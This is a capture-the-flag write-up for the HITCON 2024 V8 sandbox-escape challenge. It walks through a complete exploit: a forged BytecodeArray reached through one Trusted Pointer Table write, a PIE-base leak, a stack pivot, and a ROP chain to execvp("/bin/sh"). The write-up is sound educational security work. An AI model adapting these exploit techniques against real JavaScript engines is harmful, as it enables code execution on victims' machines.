> For the complete documentation index, see [llms.txt](https://davi1337.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davi1337.gitbook.io/public/hitcon-2024.md).

# HITCON 2024

Today I decided to take a day to tackle a V8 challenge and (try to) write a good write-up about it. After all, as many say, we learn more when we teach :D

```
Oh, another V8 heap sandbox escape challenge.
But this time, we don't need you to search for 
sandbox-related fixes and create a n-day exploit.

Author: ljp_tw
```

**Hello World!** In this write-up, I want to introduce you (the reader) to the exploration of the V8 sandbox. If you don't known V8 is a JS engine , and it have their own heap sandbox to make exploitation harder ( ***unfortunately :(*** ). This challenge is about escaping that sandbox. Instead of making us hunt for a patched bug and build an n-day, the challenge directly gives us a pretty strong primitive: ***we can modify one entry in V8’s Trusted Pointer Table, choosing the handle, pointer, and tag***. However the problem is that we can just do that **ONE TIME ,** so the challenge is about figuring out which trusted pointer we want to corrupt and how to turn that single write into a ***sbx escape.***

### The V8's Sandbox

The V8 heap sandbox is basically a huge reserved memory region where V8 keeps all the untrusted Javascript objects. Even if a bug gives to us arbitrary read/write in the heap, V8 tries to keep this access trapped inside that region. Instead of storing raw 64-bit pointers, it uses offsets for objects inside the sandbox and pointer tables for objects outside of it.

So getting heap arbitrary read/write is not enough anymore :( . We still need to corrupt something outside the sandbox and reach the native process memory, which is exactly what we call a sandbox escape.

Some good references:

<https://v8.dev/blog/sandbox>

<https://chromium.googlesource.com/v8/v8/+/HEAD/docs/sandbox/architecture.md>

<https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit>

### The Challenge

The Challenge give to us an **`v8.patch` ,** that is the first thing that we should look. Fortunately , it is quite small. And most of the cool stuffs lives in the `./src/sandbox/testing.cc`  . There are a couple of v8 changes, including an addition of a new primitive for the **memory corruption api**. Basically the patch adds:

```c
+// Sandbox.modifyTrustedPointerTable(handle, pointer, tag) -> Bool
+void SandboxModifyTrustedPointerTable(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  static int times = 0;
+
+  if (times == 1) {
+    info.GetReturnValue().Set(false);
+    return;
+  }
+
+  DCHECK(ValidateCallbackInfo(info));
+
+  if (info.Length() != 3) {
+    info.GetReturnValue().Set(false);
+    return;
+  }
+
+  v8::Isolate* isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  Local<v8::Integer> handle, pointer, tag;
+  if (!info[0]->ToInteger(context).ToLocal(&handle) ||
+      !info[1]->ToInteger(context).ToLocal(&pointer) ||
+      !info[2]->ToInteger(context).ToLocal(&tag)) {
+    info.GetReturnValue().Set(false);
+    return;
+  }
+
+  TrustedPointerTable& table = reinterpret_cast<Isolate*>(isolate)->trusted_pointer_table();
+
+  table.Set((TrustedPointerHandle)handle->Value(), pointer->Value(), (IndirectPointerTag)tag->Value()); // linha importante
+
+  times += 1;
+  info.GetReturnValue().Set(true);
+}
+

```

This give to us a Javascript access to&#x20;

```
Sandbox.modifyTrustedPointerTable(handle, pointer, tag)
//  that return false or true
```

But there is an important catch:

```c
static int times = 0; 
if (times == 1) 
{ info.GetReturnValue().Set(false); return; }
```

We only can get one modification.

So the challenge is not really about getting an memory corruption, the challenge give to us that part for free. Instead the actual problem is:&#x20;

> **How we can turn a corruption of a Trusted Pointer into a sbx escape.**

If you don't known what is Trusted Pointer Table and what is. You can read the next title, but if you already known you can just skip it:

### Trusted Pointer Table

The Trusted Pointer Table (I will be referring to it as TPT) is one of the mechanism from V8 to deal with pointers that reference objects outside the cage. V8 instead of storing an raw 64-bits pointer into an in-cage object, it stores an indirect handle that is later resolved through the TPT to the actual objected into a Trusted Space.

Each entry in the TPT stores the real pointer together with an \``IndirectPointerTag`\` , which is used for the handle get resolved as the trusted object type. If you wanna get deeper into that you can read:&#x20;

<https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit?tab=t.0#heading=h.xzptrog8pyxf>

<https://chromium.googlesource.com/v8/v8/+/HEAD/docs/sandbox/architecture.md>

<https://chromium.googlesource.com/v8/v8.git/+/HEAD/src/sandbox/GLOSSARY.md?>

<https://docs.google.com/document/d/1IrvzL4uX_Zv0k2Iakdp_q_z33bj-qlYF5IesGpXW0fM/edit?tab=t.0#heading=h.xzptrog8pyxf>

<https://docs.google.com/document/d/1HSap8-J3HcrZvT7-5NsbYWcjfc0BVoops5TDHZNsnko/edit?tab=t.0#heading=h.suker1x4zgzz>

### Choosing what to CORRUPT

**So, what we should corrupt?**

There are actually several kinds of trusted pointers that we can corrupt to achieve the objective. V8 uses the TPT for different `TrustedObjects` (<https://chromium.googlesource.com/v8/v8/%2B/refs/heads/main/src/objects/trusted-object.h>) . Looking at `` `src/sandbox/indirect-pointer-tag.h` `` give to us a pretty good idea of what objects we can corrupt.

However being able to corrupt TPT entries, does not make automatically every entry useful. We only have a one-shot attempt ( **that is a problem >:(** ) . So we need an Trusted Pointer that is easy to achieve by JS, that V8 will dereference after the corruption. And also important that the target will give us a **strong primitive**.

In other words we're looking for something like

<figure><img src="https://1100077277-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7jzX6Ztpcoq1xQoijht8%2Fuploads%2F68j812QtCGNVHENMVpP4%2FSem%20t%C3%ADtulo-2026-09-07-2131.png?alt=media&amp;token=6b92dbe3-2088-4e87-93a2-d31d3f8bfdff" alt=""><figcaption></figcaption></figure>

So instead of shooting blindly, lets take a look into some interesting Trusted object and figure out which one gives to us the best path for following.

A good target for us should have these properties:

* We can create the object from Javascript.
* We can recover its TPT handle from inside the cage.
* V8 will dereference this handle when we call something.
* The fake trusted object can be placed into memory controlled by `Sandbox.MemoryView`.
* Corrupting it should give us more than only a crash.

`WasmExportedFunctionData`, the first idea

My first idea was corrupting a `WasmExportedFunctionData`. This object is interesting because an exported WebAssembly function will resolve it through the TPT before entering the Wasm code. By faking this object we can eventually control the address loaded into `rip`.

This approach actually reached a controlled `rip`, but the common public exploit uses Javascript constants inside a JIT page as shellcode and jumps to an address like:

```javascript
0x????e00012c2
```

Only the high 32-bits are known from `Sandbox.H32BinaryAddress`. The low part assumed that the RWX code range was mapped at a predictable position. On my environment this was not true anymore. The code range moved because of ASLR, so the exploit jumped into an unmapped address and died with `SEGV_MAPERR`.

We could continue trying to leak the JIT page, but there is a better target that doesn't need that address at all: `BytecodeArray`.

### Choosing BytecodeArray

An interpreted Javascript function has a `SharedFunctionInfo`. The SFI stores a TPT handle for its trusted `BytecodeArray`. When the function is called, V8 resolves this handle and the Ignition interpreter executes the bytecodes from the returned object.

That is almost perfect for us:

```
JSFunction
    |
    v
SharedFunctionInfo
    |
    v
Trusted Pointer Table handle
    |
    v
BytecodeArray in Trusted Space
```

If we replace that TPT entry with a fake `BytecodeArray` inside the cage, calling the function makes Ignition execute bytecodes controlled by us.

The relevant layout from `src/objects/bytecode-array.tq` is:

```cpp
extern class BytecodeArray extends ExposedTrustedObject {
  const length: Smi;
  wrapper: BytecodeWrapper;
  source_position_table: ProtectedPointer<TrustedByteArray>;
  handler_table: ProtectedPointer<TrustedByteArray>;
  constant_pool: ProtectedPointer<TrustedFixedArray>;
  frame_size: int32;
  parameter_size: uint16;
  max_arguments: uint16;
  incoming_new_target_or_generator_register: int32;
  bytes[length]: uint8;
}
```

The bytecodes start at offset `0x28` in this build. The map is `0x949`, the empty handler table is `0x11`, and the empty constant pool is `0x19`.

Getting the handle

First I create and call a normal function. Calling it materializes its bytecode and the TPT handle:

```javascript
function foo(a, b) {
    return 1;
}

foo();

const sfi = read32(Sandbox.getAddressOf(foo) + 0x10) - 1;
const handle = read32(sfi + 4);
```

Using the handle from the SFI is better than hardcoding an index like `0x2002 << 9`. Small changes in the allocation order can move the entry, while this way always gets the entry that belongs to `foo`.

### Controlled memory

The challenge still exposes `Sandbox.MemoryView`, so we have arbitrary read and write inside the whole cage:

```javascript
const sbxMemView = new DataView(
    new Sandbox.MemoryView(0, 0xfffffff8)
);

function read32(x) {
    return sbxMemView.getUint32(x, true);
}

function write32(x, y) {
    sbxMemView.setUint32(x, y, true);
}

function write64(x, y) {
    sbxMemView.setBigUint64(x, y, true);
}
```

I use the backing store of a double array for both the fake bytecode and the fake stack:

```javascript
const holder = [{}];
const arr = Array(0x1000);
arr[0] = 1.1;

for (let i = 1; i < arr.length; ++i)
    arr[i] = 0.0;

const target =
    read32(Sandbox.getAddressOf(arr) + 8) - 1 + 8;
const stack = target + 0x100;
```

`target` points to the first double in the `FixedDoubleArray`, so this region is writable and large enough for the fake object and the ROP chain.

Now we can build a minimal fake `BytecodeArray`:

```javascript
write32(target, 0x949);
write32(target + 4, 0);
write32(target + 8, 0x10);
write32(target + 0xc, 0);
write32(target + 0x10, 0);
write32(target + 0x14, 0x11);
write32(target + 0x18, 0x19);
write32(target + 0x1c, 0);
write32(target + 0x20, 3);
write32(target + 0x24, 0);
```

The `BytecodeArray` indirect pointer tag is `0x1b`. There is a small trick needed here. `TrustedPointerTable::Set` normally rejects a pointer that is inside the sandbox. We put the expected `0x1b` tag bits directly into the pointer argument, making the value look outside of the sandbox during validation. When V8 later loads the entry using the `BytecodeArray` tag, those high bits are removed and the result becomes our in-cage fake object:

```javascript
Sandbox.modifyTrustedPointerTable(
    handle,
    0x001b000000000000 + Sandbox.base + target + 1,
    1
);
```

This is our only TPT modification, so from here we need to reuse the same fake bytecode object for every next stage.

### Leaking the PIE base

We still only know the high 32-bits of the binary address:

```javascript
Sandbox.H32BinaryAddress
```

For ROP we also need the randomized low part. The interesting thing is that Ignition registers are backed by the native stack. With an out-of-range `Ldar`, the interpreter can load values outside the valid Javascript arguments.

For the first stage I put these bytes at `target + 0x28`:

```javascript
write64(target + 0x28, 0x00f8033704af160bn);
```

In little endian, the useful beginning is:

```
0b 16    Ldar a19
af       Return
```

The exact argument number is related to the frame layout of this script and this V8 build. In our final exploit, `a19` overlaps a saved native code address from `Builtins_JSEntryTrampoline`. The value is treated as a compressed Smi when it returns to Javascript, so shifting it left by one recovers the low 32-bits:

```javascript
let leak = BigInt(foo() << 1);
if (leak < 0)
    leak += 0x100000000n;
```

The leaked return address is always at offset `0x252b31c` from the PIE base. We already have the high 32-bits from the challenge API, then the full base is:

```javascript
const text =
    BigInt(Sandbox.H32BinaryAddress) + leak - 0x252b31cn;
```

For example:

```
leak 1d5b931c text 55ff1b08e000
```

The resulting `text` address ends in `000`, as expected for the base mapping.

### Creating a fake object reference

The next bytecode stage needs an object as its first argument. We cannot pass an arbitrary 64-bit address as a Javascript value, because normal numbers become Smis or HeapNumbers. But we can corrupt one element of an object array and make V8 return an object reference pointing into our double array.

`holder` has tagged elements. Its `elements` field points to a `FixedArray`, and its first item is at offset `+8`:

```javascript
const holderElements =
    read32(Sandbox.getAddressOf(holder) + 8) - 1;

write32(holderElements + 8, stack + 1);

const fakeStack = holder[0];
```

Now `fakeStack` is a Javascript reference whose compressed address is `stack + 1`. It doesn't contain a valid Javascript object, but it doesn't need to. We only pass the tagged value to `foo`; the fake bytecode will copy it into the native frame without dereferencing its map.

### Getting the stack pivot

After the leak, the same fake `BytecodeArray` can be changed because it lives inside the cage. This time the bytecodes are:

```javascript
write64(target + 0x28, 0x000000af0018030bn);
```

Again in little endian:

```
0b 03    Ldar a0
18 00    Star a-3
af       Return
```

`Ldar a0` loads our first argument, which is `fakeStack`, into the accumulator. `Star a-3` writes this tagged pointer over the saved `rbp`. When the interpreter executes `Return`, its epilogue starts using our fake frame inside the V8 cage.

Of course it is not enough to only replace `rbp`. Before doing `leave; ret`, `InterpreterEntryTrampoline` still reads some fields from the frame:

```
[rbp - 0x28]    current bytecode offset
[rbp - 0x20]    current BytecodeArray
[rbp - 0x18]    argument cleanup count
```

We need to prepare them:

```javascript
write64(stack + 1 - 0x28, 0x56n);
write64(
    stack + 1 - 0x20,
    BigInt(Sandbox.base + target + 1)
);
write64(stack + 1 - 0x18, 6n);
```

`0x56` is the Smi-encoded offset of the `Return` bytecode. The value at `-0x20` points back to our fake `BytecodeArray`, and `6` makes the interpreter move `rsp` to the ROP chain prepared at `stack + 0x40`.

The important part of the interpreter epilogue behaves like:

```asm
mov rbx, [rbp - 0x20]
movzx ebx, word ptr [rbx + 0x1f]
mov rcx, [rbp - 0x18]
cmp rbx, rcx
cmovl rbx, rcx
leave
pop rcx
lea rsp, [rsp + rbx * 8]
push rcx
ret
```

The `leave` instruction sets `rsp` to our forged `rbp`. The cleanup sequence then skips six stack slots and finally continues from the values stored in the controlled array. At this point we escaped the Javascript execution model and have a normal native ROP chain.

### **Building the ROP chain**

The binary is PIE but it is not stripped, so finding the needed gadgets is easy. The offsets used by the exploit are:

```
ret              0x119e01a
pop rdi ; ret    0x135f98e
pop rsi ; ret    0x1249f8e
execvp@plt       0x28ea8e0
```

They are offsets from the `text` base leaked in the first bytecode stage.

The first return address is placed at `rbp + 8`. I use a plain `ret` there, and after the interpreter argument cleanup it reaches the real chain at `rbp + 0x40`:

```javascript
const frame = BigInt(Sandbox.base + stack + 1);

write64(stack + 1, 0n);
write64(stack + 1 + 0x8, text + 0x119e01an);
write64(stack + 1 + 0x40, text + 0x135f98en);
write64(stack + 1 + 0x48, frame + 0x100n);
write64(stack + 1 + 0x50, text + 0x1249f8en);
write64(stack + 1 + 0x58, 0n);
write64(stack + 1 + 0x60, text + 0x28ea8e0n);
```

This is equivalent to:

```
pop rdi ; ret
rdi = &"/bin/sh"
pop rsi ; ret
rsi = NULL
execvp@plt
```

The string is stored in the same controlled area:

```javascript
write64(
    stack + 1 + 0x100,
    0x0068732f6e69622fn
);
```

`0x0068732f6e69622f` is `"/bin/sh\x00"` in little endian, and `frame + 0x100` is its absolute address.

Finally we replace the leak bytecodes with the pivot bytecodes and call the victim function with our fake object:

```javascript
write64(target + 0x28, 0x000000af0018030bn);
foo(fakeStack);
```

And we get our shell :)

```
❯ ../dist/share/d8 --allow-natives-syntax ../xpl.js 
0x557900000000
leak d91a531c text 5579d6c7a000
[user@cachyos-x8664 tools]$ id
uid=1000(user) gid=1000(user) grupos=1000(user),3(sys),90(network),967(nopasswdlogin),980(rfkill),982(users),983(video),985(storage),989(lp),995(audio),998(wheel)
[user@cachyos-x8664 tools]$ 

```

### References

<https://u1f383.github.io/ctf/2024/07/16/hitcon-ctf-qual-2024-pwn-challenge-part-1-halloween-and-v8sbx.html>

<https://mem2019.github.io/jekyll/update/2024/07/14/HITCON.html>
